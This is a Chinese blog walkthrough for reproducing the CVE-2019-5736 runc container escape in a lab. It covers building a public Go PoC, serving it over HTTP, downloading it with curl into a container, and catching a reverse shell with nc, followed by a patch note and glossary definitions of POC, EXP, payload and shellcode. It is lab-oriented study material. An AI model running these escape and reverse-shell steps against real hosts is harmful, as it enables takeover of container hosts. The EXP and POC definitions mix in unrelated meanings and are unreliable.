云安全CVE漏洞复现-CVE-2019-5736 Docker逃逸

*解释docker逃逸和镜像投毒

Docker逃逸和镜像投毒是与Docker容器安全性相关的两个重要概念。

Docker逃逸是指攻击者通过某些手段获得对Docker容器的控制权,进而访问底层宿主机系统。这种逃逸行为可能由多种原因引起,包括配置不当、Docker软件设计引起的漏洞以及内核漏洞。攻击者可以利用这些漏洞提升权限,获得对宿主机的完全访问权限。

镜像投毒则是一个宽泛的话题,指的是攻击者通过某些方式欺骗、诱导受害者使用攻击者指定的恶意镜像创建并运行容器,从而实现入侵或利用受害者的主机进行恶意活动的行为。根据目的不同,常见的镜像投毒有三种类型:投放恶意挖矿镜像、投放恶意后门镜像和投放恶意exploit镜像。

为了防止Docker逃逸和镜像投毒,可以采取一系列安全措施,如限制容器的权限、定期更新和修补Docker及相关组件、使用可信的镜像源等。

*云安全CVE漏洞复现-CVE-2019-5736 Docker逃逸

注:最好在开始前给两个虚拟机拍快照

1.kali进行联网和远程连接

(1)以管理员身份打开Vmware,在Vmware Workstation Pro安装完成kali后,点击左上方的编辑中的虚拟网络编辑器(N),然后配置如下图所示。

 

(2)输入账户密码登录kali,打开终端,进去是以普通用户身份登录,若没有设置root用户密码,输入sudo passwd设置密码,输入su root/su -切换root用户,输入 vi /etc/network/interfaces,修改ip地址如下,输入vi /etc/resolv.conf,修改IP地址如下,输入systemctl restart networking,重启网络服务。

 

 

((

(3)输入ip a,查看IP地址是否修改成功,输入ping 10.0.0.2,查看是否ping通网关,输入ping www.baidu.com,查看是否ping通外网,输入systemctl status ssh,查看ssh服务是否打开,ssh服务打开的状态下才可以远程连接,若没有打开,输入systemctl start ssh,打开ssh服务,一切准备就绪后,打开Mobaxterm进行远程连接。      

2.kali修改脚本编译脚本

输入cd /etc/apt,进入/etc/apt目录,输入view sources.list,进入sources.list文件编辑在最后加入deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-freedeb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free两行,添加更新源到 /etc/apt/source.list文件中,输入apt update,apt软件包索引,拉取镜像,输入apt install -y golang,安装go编译环境  

     

3. 下载CVE-2019-5736漏洞POC

输入cd,退出/etc/apt目录,上传CVE-2019-5736-PoC-master.zip文件,输入unzip /root/ CVE-2019-5736-PoC-master.zip,解压zip文件,输入ls -l,查看是否解压成功

 

2

4.输入cd CVE-2019-5736-PoC-master,进入CVE-2019-5736-PoC-master,输入go version,查看go版本,输入view main.go, 修改main.go中的payload内容,修改如下,输入CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go编译poc,生成可执行脚本main,输入ls -l,查看是否生成可执行脚本main。

      

5. 输入python -m http.server 7987,kali机器开启HTTP服务

 

6.输入docker version,查看docker版本,输入docker runc --version查看runc版本(均在漏洞影响范围内),输入docker images或docker images | grep ‘ubuntu’,查看是否有ubuntu这个镜像,输入docker container ls -a | grep ‘ubuntu’,查看是否有ubuntu容器,若没有,输入docker run -it ubuntu:18.04 “/bin/bash”,安装ubuntu容器,安装完成后进入到这个容器中,输入exit,退出容器,输入curl -O http://10.0.0.200:7987/main,centos机器下载poc,如果出现乱码,就输入scp main root@10.0.0.50:/root,centos机器下载poc,输入ls -l,查看是否下载成功。

6    

 

7. 输入docker container ls -a | grep ‘ubuntu’,查看是否有ubuntu容器,输入docker start 08a6(ubuntu容器前四位),启动容器,输入docker container ls -a | grep ‘ubuntu’,查看容器是否开启。

8.输入docker cp ./main 08a6:/home, 将生成的main脚本拷贝到docker容器中(这就是模拟攻击者获取了docker容器权限,在容器中上传payload进行docker逃逸),输入docker exec -it 08a6 /bin/sh,进入docker容器,输入cd /home,ls 查看脚本是否拷进容器,输入chmod 777 main,./main启动main脚本。(如输错,只能ctrl c停止,下一行重新输入)

9.再开一个centos(k8s-mater)终端,输入docker exec -it 08a6 /bin/bash,启动main脚本,kali输入nc -lvnp 12345,kaili开始监听

  ..。

10. docker逃逸成功,输入ip a,查看ip地址可验证,输入mkdir /home/xxx,即可在k8s-master上创立目录,在k8s-master上输入ls -l /home,查看是否创建目录,创建成功说明逃逸成功。

 

修复建议

更新容器至 18.09.2版本以上。

*详细介绍POC、EXP、Payload与Shellcode

  1. POC (Proof of Concept)
    POC 是一种针对客户具体应用的验证性测试,是根据用户对采用系统提出的性能要求和扩展需求的指标,在选用服务器上进行真实数据的运行,对承载用户数据量和运行时间进行实际测算,并根据用户未来业务扩展的需求加大数据量以验证系统和平台的承载能力和性能变化。它通常用于企业进行产品选型时或开展外部实施项目前,进行的一种产品或供应商能力验证工作。验证的内容可以包括产品的功能、性能等。常指一段漏洞证明的代码。
  2. EXP (Experimental)
    EXP 是英文“experimental”的缩写,指实验性的,即高等数学里以自然常数 e 为底的指数函数。在医药说明中,EXP 是“expiry date”的缩写,指使用期限。另外,EXP 也是世界著名项目管理软件供应商美国 Primavera 公司的主要产品之一。指利用系统漏洞进行攻击的动作。
  3. Payload
    Payload 在计算机领域中指的是传输协议中携带的有效数据部分,它是一种在攻击者试图利用系统漏洞进行攻击时所使用的一种技术。攻击者会构造一些针对特定漏洞的恶意代码(也称为 exploit),将这些恶意代码插入到 payload 中,通过各种手段将这些 payload 发送到目标系统上,并利用漏洞触发 payload 中的恶意代码,从而攻击目标系统。Payload 可以是各种各样的形式,包括恶意软件、恶意代码或者任何其他类型的攻击向量,如 SQL 注入攻击、跨站点脚本攻击、缓冲区溢出攻击等等。指成功exploit之后,真正在目标系统执行的代码或指令。

Shellcode
Shellcode 是一段用于利用软件漏洞而执行的代码,它是16进制的机器码,因为经常让攻击者获得 shell 而得名。Shellcode 通常使用机器语言编写,可在暂存器 eip 溢出后,塞入一段可让 CPU 执行的 shellcode 机器码,让电脑可以执行攻击者的任意指令。Shellcode 可以按照攻击者执行的位置分为本地 shellcode 和远程 shellcode。本地 shellcode 通常用于利用软件漏洞提升权限,而远程 shellcode 则利用软件漏洞获得特定的 shellcode,再经由 C Python 编写远程攻击程序,进而取得对方电脑的 root 权限。Payload的一种,由于其建立正向/反向shell而得名。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值